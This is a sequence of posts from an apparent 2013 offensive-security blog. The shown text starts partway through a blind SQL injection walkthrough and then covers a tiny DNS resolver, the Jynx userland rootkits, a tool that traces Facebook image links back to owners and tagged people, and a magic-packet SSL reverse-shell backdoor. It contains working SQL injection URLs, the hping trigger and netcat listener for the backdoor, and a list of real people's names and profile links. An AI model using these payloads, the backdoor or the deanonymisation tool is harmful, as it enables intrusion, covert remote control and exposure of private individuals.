  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1

Respectively. Both pages return the first comment, so you can say the result is 5. Now we've calculated a byte. We had only 3 records in the database, but it only took us four requests to get a byte:


  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) div 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) %25 4)) and '1'='1

So given that you only had the values of two bits to work with, 0-3, derived from 3 records and a null output, you could still easily retrieve two bits of data per request (2 * 4 = 8 bits = 1 byte).


Extra resources

:

Wednesday, August 21, 2013

PyTinyDNS Part 2

Introduction

    In the last post, I wrote about the PyTinyDNS project that I had been working on for my VPN setup. PyTinyDNS is a small DNS A record resolver that runs on your standard DNS port (53). Since then I've added some more features that I feel make this an even more powerful and versatile tool. The github repository is being regularly updated as I push out new changes. Please feel free to add any issues or tweaks that you see fit.

Recent Updates

    Since the original push to github, the following features have been added or changed.
  • Flat host configuration files are still in use, but its been moved to a .host file.
  • Config files can now be used instead of specifying each option in the command line.
  • Redis-server is now used as a database storage for A records.
  • Added redis_import.py in order to import A records into a live instance. Updated domain results take effect immediately
  • Redis import tool can now handle single host updates using -u domain:ip

Example Config File

[PyTinyDNS]
DefaultIP = 192.168.1.99
Use_Redis = yes
Redis_Server = localhost
#Host_File = pytinydns.host

    If Use_Redis is set to no, it'll resolve all requests with the DefaultIP or refer to Host_File (if set) in order to resolve the A records.

Possible Uses

  • Resolve internal domains
  • DNS Spoofing
  • Fast Flux implementation
  • Malware analysis

To Do List

  • Add option to resolve real IPs of non matched domains
  • Add time based IP rotation
  • Add option to reply with different IPs based on conditions being met
  • Add wildcard handling for domains
  • Add more than A record resolution

Source

Monday, August 19, 2013

PyTinyDNS -- Simple Python A Record Resolver

The Backstory

Recently I have been working on a side project; setting up OpenVPN for friends and family as a simple means of reasonably secure file sharing, media streaming, chatting, and e-mails. Not everyone that will be connected to the VPN is that technically savvy, so I'm trying to make things as easily accessible as possible. One way to make it easier to navigate would be an internal DNS server. At this point, I'm too lazy to setup and configure BIND just so that I can resolve a handful of local subdomains. 

Time for Python

After doing a little bit of searching, I found the following code. It's a small (under 50 lines of code) A record DNS resolver in Python with sockets being the only module requirement. The script resolves ALL domains to a single IP address for malware analysis purposes. This worked out perfectly for what I needed, so I decided to add a config file to make adding more than one A record a breeze. PyTinyDNS now accepts a default IP as an argument in case the domain is not specifically defined in the config. 

Example Config File

# Comment
google.com.:192.168.1.2
yahoo.com.:192.168.1.3

The Code

You can grab a copy of the code and an example config file on github
git clone https://github.com/chokepoint/pytinydns
I'll be adding extra features as I get bored, but for now this meets my current requirements for the VPN.

Update

I've added redis DB support, so that the DNS records can be updated live. Still supports flat file config, if you don't plan in setting up redis-server.

Monday, August 12, 2013

Jynx/Jynx2 Userland Rootkits

Well, I'm still migrating the rest of my code and posts over to the new site, here's another old one.

Jynxkit and Jynx2

Jynx is a userland preload kit built for Linux based systems. Jynx and Jynx2 differ mainly in how the backdoor is setup. Jynx uses a magic packet reverse backdoor system while Jynx2 hooks the accept() system call and can be used with any existing daemon already running on the system.

Jynxkit

Source

Jynx2

Source

Analysis

Sneak Peak
Analysis using volatility


Friday, August 9, 2013

Facebook Picture to ID

Introduction

Its recently come to my attention that most people assume Facebook pictures can't be tied directly back to the owner given only a direct link to the picture. Well, this little utility was written to show just how easy it could be to use Facebook image links posted in IRC or elsewhere to track down the original owner of the content, and people tagged in the photo.


Parsing the URL


Take the following image link that I pulled from a random Google image search.
https://sphotos-b-ord.xx.fbcdn.net/hphotos-frc1/p480x480/1044981_547409191984903_1858736086_n.jpg
The main portion of the URL that we're interested in is the filename of the JPEG.
1044981_547409191984903_1858736086_n.jpg
The middle number is the FBID of the original photo album. This can be accessed by modifying a simple GET request to Facebook.
https://www.facebook.com/photo.php?fbid=547409191984903
From here it's as simple as parsing out the data that we want from the HTML. For this I decided to use BeautifulSoup and Python for simplicity and readability sake.

Example


# ./fbpic2id.py https://sphotos-b-ord.xx.fbcdn.net/hphotos-frc1/p480x480/1044981_547409191984903_1858736086_n.jpg
 
Album URL: http://www.facebook.com/photo.php?fbid=547409191984903

Owner (Page/Group): Best photos of the world
Owner URL: https://www.facebook.com/Best.Fotos.Of.The.World

Tagged with profiles:
Vikas Gaikwad (https://www.facebook.com/vikas.gaikwad.1612)
Lakhan Bhanuse (https://www.facebook.com/lakhan.bhanuse)
Kiran Ghoble (https://www.facebook.com/kiran.ghoble)
Abin Chakkara (https://www.facebook.com/abin.chakkara)
Vitthal Jadhav (https://www.facebook.com/vitthal.jadhav.52459)
Harshit Kumar (https://www.facebook.com/pammu.kumar.9)
Manish Sharma (https://www.facebook.com/manishmontysharma)
Vivek Bhumkar (https://www.facebook.com/vivek.bhumkar.1)
Sopho Arakishvili (https://www.facebook.com/sopho.arakishvili)
Sunil Kumar (https://www.facebook.com/people/Sunil-Kumar/100004499886492)
Shahib Singh (https://www.facebook.com/shahib.singh.3)
Mita Das (https://www.facebook.com/mukta.das.583)
Sneha Sweet (https://www.facebook.com/sneha.sweet.5872)
Rakesh Biyani (https://www.facebook.com/rakesh.biyani.50)
Zura Arakishvili (https://www.facebook.com/zura.arakishvili)
Dalia Edith Pérez Castañeda (https://www.facebook.com/daliaperezxalapa)
Shivu Vicky (https://www.facebook.com/shivanands.langaatad)
Forgive To Forget (https://www.facebook.com/thuchoa.tran)
Amit Verma (https://www.facebook.com/people/Amit-Verma/100003237125978)
Khursheed Patel (https://www.facebook.com/khursheed.patel)
Munmun Guha (https://www.facebook.com/munmun.guha.71)
Krishna Nk (https://www.facebook.com/krishnamurthy.axn)
Debabrata Paul (https://www.facebook.com/debabrata.paul.505)
Leveny Pradas West (https://www.facebook.com/levywest)
Adele McLeod (https://www.facebook.com/adele.mcleod1)
Leonardo L. Canillas (https://www.facebook.com/virgilio.canillas.18)
Mahshid Rh (https://www.facebook.com/mahshid.rahimi.5)
Ajay Giri (https://www.facebook.com/ajay.giri.3517)
Sudha Bharti (https://www.facebook.com/sudha.bharti.98)
Mehrdad Rahimi (https://www.facebook.com/mehrdad.rahimi.12)
Sameer Sam (https://www.facebook.com/sameer.sam.31945243)
Crystal Flowers (https://www.facebook.com/1.psycho.pixie)
Vesna Nikolcov (https://www.facebook.com/vesna.nikolcov)
Ziba Rahimi (https://www.facebook.com/ziba.rahimi)
Mary Smith White (https://www.facebook.com/mary.s.white.79)
Kỉ Hà Băng (https://www.facebook.com/tathi.thuan)

Tagged without profiles:
Prashant Rammtake
Lawrence Luggionskky
Maria C. Lanza
Vìvék Yàdûwáñshí
Satendra Yadav

Getting the source

 git clone https://github.com/chokepoint/fbpic2id.git

 Limitations

Some results on Facebook are limited to users that aren't logged in. In order to get greater results, adding login capability to the script would likely yield more information. Another idea would be to combine this with Facebook Query Language (FQL) in order to scrape information on each owner and taggee. For more information about FQL scraping check out Blackhat Library

Friday, August 2, 2013

SEQ/ACK Reverse Connect SSL Shell

SEQAck is an SSL encrypted, magic packet triggered reverse connect backdoor application. I wrote this as part of the original Jynx-Kit LD_PRELOAD rootkit, as released on from the Blackhat Library. With the second installation of the rootkit, we moved away from the stand alone reverse connection backdoor, and decided to hook accept() system call instead. Not only was it simply to demonstrate another example of creating a backdoor, but it also fit perfectly with what we were doing; making things more modular.

This backdoor silently sniffs on the given interface for all incoming TCP packets. It relies on two defined rules, MAGIC_SEQ and MAGIC_ACK, which are easily manipulated in the TCP headers. Once the magic packet is received, it initiates an SSL encrypted reverse connecting shell to the host that sent the packet, on the given source port. For example, we can initiate the reverse connect with the following hping command.

# hping -M 0xdead -L 0xbeef google.com -s 5000 -c 1
Notice, the source port is 5000, SEQ (-M) is 0xdead and ACK (-L) is 0xbeef. With this example, we'd also need the following nc (netcat supplied with nmap) running in the background to accept the incoming connection.
# nc -l -p 5000 --ssl
And there you have it, the reverse connect shell was successful, and you're in complete control. The idea of using SEQ/ACK values could be applied to a single packet port knock sequence as well, so this application could be easily tweaked or expanded upon based on your requirements
Source is linked below.


Links:
Source: https://github.com/chokepoint/seqack
BHL: http://www.blackhatlibrary.net/Main_Page
Jynx-Kit: http://www.blackhatlibrary.net/Jynx